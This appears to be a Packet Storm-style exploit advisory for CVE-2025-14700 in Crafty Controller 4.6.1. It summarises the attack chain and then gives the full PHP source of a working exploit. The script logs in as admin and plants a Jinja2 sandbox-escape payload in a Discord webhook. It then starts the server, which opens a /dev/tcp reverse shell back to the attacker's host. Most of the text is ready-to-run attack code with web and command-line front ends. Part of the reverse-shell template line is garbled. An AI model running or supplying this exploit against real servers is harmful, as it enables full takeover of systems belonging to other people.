============================================================================================================================================= | # Title : Crafty Controller 4.6.1 authenticated RCE via Server-Side Template Injection | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://craftycontrol.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/213042/ & CVE-2025-14700 [+] Summary : This PHP script is a complete port of a Python exploit targeting CVE-2025-14700, a critical vulnerability in the Crafty Controller Minecraft server management platform. The exploit chain allows authenticated remote attackers to execute arbitrary system commands on the target server through Server-Side Template Injection (SSTI) in the webhook configuration feature. [+] Exploitation Chain: 1- Authentication Bypass & Token Harvesting Retrieves initial XSRF token from login page Authenticates with admin credentials to obtain JWT token Maintains session cookies throughout the attack 2- Server Creation for Payload Delivery Creates a dummy Minecraft server via API Required to access the vulnerable webhook configuration endpoint 3- SSTI Payload Injection Injects malicious Jinja2 template into Discord webhook configuration Uses cycler.__init__.__globals__.os.system() to escape template sandbox Embeds reverse shell command for remote access 4- Triggering the Vulnerability Emulates browser requests to trigger server start action Executes EULA confirmation to initialize the server The template is rendered during server initialization, executing the payload [+] Technical Details: Vulnerable Component: Webhook configuration in /api/v2/servers/{id}/webhook Attack Vector: Authenticated SSTI → RCE Privileges Required: Admin credentials Impact: Full system compromise via reverse shell Default Port: 8443 (HTTPS) [+] CODE : php exploit.php --url=https://target.com:8443 --login=admin --password=password --lhost=192.168.1.100 --lport=4444 /dev/tcp/%s/%d 0<&1 2>&1'"); class CraftyExploit { private $url; private $login; private $password; private $lhost; private $lport; private $session; private $cookies; public function __construct($url, $login, $password, $lhost, $lport) { $this->url = rtrim($url, '/'); $this->login = $login; $this->password = $password; $this->lhost = $lhost; $this->lport = $lport; $this->session = curl_init(); $this->cookies = []; // Configure cURL options curl_setopt($this->session, CURLOPT_RETURNTRANSFER, true); curl_setopt($this->session, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($this->session, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($this->session, CURLOPT_FOLLOWLOCATION, true); curl_setopt($this->session, CURLOPT_HEADER, true); curl_setopt($this->session, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); } private function request($method, $endpoint, $data = null, $headers = [], $returnHeaders = false) { $url = $this->url . $endpoint; curl_setopt($this->session, CURLOPT_URL, $url); curl_setopt($this->session, CURLOPT_CUSTOMREQUEST, $method); // Set headers $defaultHeaders = [ 'Accept: application/json, text/plain, */*', 'Accept-Language: en-US,en;q=0.9', 'Connection: keep-alive', ]; $allHeaders = array_merge($defaultHeaders, $headers); curl_setopt($this->session, CURLOPT_HTTPHEADER, $allHeaders); // Set cookies if any if (!empty($this->cookies)) { $cookieStr = ''; foreach ($this->cookies as $name => $value) { $cookieStr .= "$name=$value; "; } curl_setopt($this->session, CURLOPT_COOKIE, trim($cookieStr)); } // Set POST data if ($method === 'POST' && $data !== null) { if (isset($headers['Content-Type']) && strpos($headers['Content-Type'], 'application/json') !== false) { curl_setopt($this->session, CURLOPT_POSTFIELDS, json_encode($data)); } else { curl_setopt($this->session, CURLOPT_POSTFIELDS, $data); } } $response = curl_exec($this->session); if ($response === false) { echo "cURL Error: " . curl_error($this->session) . "\n"; return false; } // Parse response $headerSize = curl_getinfo($this->session, CURLINFO_HEADER_SIZE); $headers = substr($response, 0, $headerSize); $body = substr($response, $headerSize); // Update cookies from response $this->parseCookies($headers); // Create response object $result = [ 'status_code' => curl_getinfo($this->session, CURLINFO_HTTP_CODE), 'headers' => $headers, 'body' => $body, 'request_url' => $url, 'request_method' => $method ]; if ($returnHeaders) { return $result; } return $body; } private function parseCookies($headers) { $lines = explode("\n", $headers); foreach ($lines as $line) { if (stripos($line, 'Set-Cookie:') === 0) { $cookie = trim(substr($line, 11)); $parts = explode(';', $cookie); $cookiePair = explode('=', $parts[0], 2); if (count($cookiePair) === 2) { $this->cookies[$cookiePair[0]] = $cookiePair[1]; } } } } private function printDebugInfo($response) { echo "\n" . str_repeat("=", 80) . "\n"; echo "[{$response['request_method']}] {$response['request_url']} -> HTTP {$response['status_code']}\n"; echo str_repeat("-", 20) . " [KEY HEADERS VALIDATION] " . str_repeat("-", 20) . "\n"; // Important headers to display $importantHeaders = ['token', 'X-XSRFToken', 'Authorization', 'Cookie', 'Referer', 'Content-Type']; $headers = $this->parseResponseHeaders($response['headers']); foreach ($importantHeaders as $h) { $hLower = strtolower($h); foreach ($headers as $headerName => $headerValue) { if (strtolower($headerName) === $hLower) { echo "$h: $headerValue\n"; break; } } } echo str_repeat("-", 20) . " [RESPONSE BODY] " . str_repeat("-", 25) . "\n"; // Try to decode JSON $json = json_decode($response['body'], true); if (json_last_error() === JSON_ERROR_NONE) { echo json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n"; } else { // Truncate output if it's not JSON echo (strlen($response['body']) > 200) ? substr($response['body'], 0, 200) . "..." : $response['body']; if (empty($response['body'])) { echo "(Empty Body)"; } echo "\n"; } echo str_repeat("=", 80) . "\n\n"; } private function parseResponseHeaders($headers) { $parsed = []; $lines = explode("\n", $headers); foreach ($lines as $line) { if (strpos($line, ':') !== false) { list($name, $value) = explode(':', $line, 2); $parsed[trim($name)] = trim($value); } } return $parsed; } public function apiLogin() { echo "[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...\n"; // Get initial XSRF token $response = $this->request('GET', '/login', null, [], true); $xsrf = $this->cookies['_xsrf'] ?? ''; echo "[*] STEP 2: Executing authentication (XSRF: " . substr($xsrf, 0, 15) . "...)\n"; $endpoint = '/api/v2/auth/login/'; $headers = [ 'Content-Type: application/json', 'X-XSRFToken: ' . $xsrf, 'Referer: ' . $this->url . '/login?next=%2Fpanel%2Fdashboard', 'Origin: ' . $this->url ]; $data = [ 'username' => $this->login, 'password' => $this->password ]; $response = $this->request('POST', $endpoint, $data, $headers, true); $this->printDebugInfo($response); $responseData = json_decode($response['body'], true); if ($response['status_code'] == 200 && isset($responseData['status']) && $responseData['status'] == 'ok' && isset($responseData['data']['token'])) { return $responseData['data']['token']; } die("[FATAL] Login failed. Please check credentials or target connectivity.\n"); } public function createServer($jwtToken) { echo "[*] STEP 3: Creating exploit dummy server...\n"; $endpoint = '/api/v2/servers'; $xsrf = $this->cookies['_xsrf'] ?? ''; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $jwtToken, 'X-XSRFToken: ' . $xsrf, 'Referer: ' . $this->url . '/panel/dashboard' ]; $data = [ 'name' => 'CVE_2025_14700_Exploit_Automation', 'monitoring_type' => 'minecraft_java', 'minecraft_java_monitoring_data' => ['host' => '127.0.0.1', 'port' => 25565], 'create_type' => 'minecraft_java', 'minecraft_java_create_data' => [ 'create_type' => 'download_jar', 'download_jar_create_data' => [ 'category' => 'mc_java_servers', 'type' => 'paper', 'version' => '1.18.2', 'mem_min' => 1, 'mem_max' => 2, 'server_properties_port' => 25565 ] ] ]; $response = $this->request('POST', $endpoint, $data, $headers, true); $this->printDebugInfo($response); $responseData = json_decode($response['body'], true); if (isset($responseData['data']['new_server_id'])) { return $responseData['data']['new_server_id']; } die("[FATAL] Failed to create server.\n"); } public function createHook($serverId, $lhost, $lport, $jwtToken) { echo "[*] STEP 4: Injecting SSTI Reverse Shell payload...\n"; $endpoint = "/api/v2/servers/{$serverId}/webhook"; $xsrf = $this->cookies['_xsrf'] ?? ''; $revshellCmd = sprintf(REVSHELL_TEMPLATE, $lhost, $lport); // Jinja2 SSTI payload $payload = '{{ self._TemplateReference__context.cycler.__init__.__globals__.os.system("' . $revshellCmd . '") }}'; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $jwtToken, 'X-XSRFToken: ' . $xsrf, 'Referer: ' . $this->url . '/panel/dashboard' ]; $data = [ 'webhook_type' => 'Discord', 'name' => 'Exploit_Trigger_Hook', 'url' => 'https://localhost:8443/', 'bot_name' => 'Crafty Bot', 'trigger' => ['start_server'], 'body' => $payload, 'color' => '#c646000', 'enabled' => true ]; $response = $this->request('POST', $endpoint, $data, $headers, true); $this->printDebugInfo($response); } public function triggerExploit($serverId, $jwtToken) { echo "\n[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...\n"; $xsrf = $this->cookies['_xsrf'] ?? ''; $host = parse_url($this->url, PHP_URL_HOST); // Set JWT in cookies $this->cookies['token'] = $jwtToken; // 1. Trigger Start Server Action $startUrl = "/api/v2/servers/{$serverId}/action/start_server"; echo "[*] Sending start_server action request...\n"; $headers = [ 'token: ' . $xsrf, 'X-XSRFToken: ' . $xsrf, 'X-Requested-With: XMLHttpRequest', 'Origin: ' . $this->url, 'Referer: ' . $this->url . '/panel/dashboard', 'Accept: */*', 'Accept-Encoding: gzip, deflate, br', 'sec-ch-ua-platform: "Windows"' ]; $response = $this->request('POST', $startUrl, '', $headers, true); $this->printDebugInfo($response); sleep(2); // 2. Trigger EULA Action $eulaUrl = "/api/v2/servers/{$serverId}/action/eula"; echo "[*] Sending EULA confirmation action request...\n"; $this->request('POST', $eulaUrl, '', $headers, false); echo "\n[+] POC Execution completed. Check your nc listener ({$this->lhost}:{$this->lport}).\n"; } public function run() { $jwt = $this->apiLogin(); $serverId = $this->createServer($jwt); $this->createHook($serverId, $this->lhost, $this->lport, $jwt); $this->triggerExploit($serverId, $jwt); } public function __destruct() { if (is_resource($this->session)) { curl_close($this->session); } } } // Command line interface if (PHP_SAPI === 'cli') { $options = getopt('u:l:p:lh:lp:', [ 'url:', 'login:', 'password:', 'lhost:', 'lport:' ]); $url = $options['u'] ?? $options['url'] ?? null; $login = $options['l'] ?? $options['login'] ?? null; $password = $options['p'] ?? $options['password'] ?? null; $lhost = $options['lh'] ?? $options['lhost'] ?? null; $lport = $options['lp'] ?? $options['lport'] ?? null; if (!$url || !$login || !$password || !$lhost || !$lport) { echo "Usage: php " . basename(__FILE__) . " [options]\n"; echo "Options:\n"; echo " -u, --url Target base URL (e.g., https://10.67.3.77:8443)\n"; echo " -l, --login Admin username\n"; echo " -p, --password Admin password\n"; echo " -lh, --lhost Local listener IP\n"; echo " -lp, --lport Local listener port\n"; exit(1); } $exploit = new CraftyExploit($url, $login, $password, $lhost, (int)$lport); $exploit->run(); } else { // Web interface (optional) echo "
";
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$url = $_POST['url'] ?? '';
$login = $_POST['login'] ?? '';
$password = $_POST['password'] ?? '';
$lhost = $_POST['lhost'] ?? '';
$lport = $_POST['lport'] ?? '';
if ($url && $login && $password && $lhost && $lport) {
$exploit = new CraftyExploit($url, $login, $password, $lhost, (int)$lport);
$exploit->run();
} else {
echo "Please fill all fields.\n";
}
}
echo "";
?>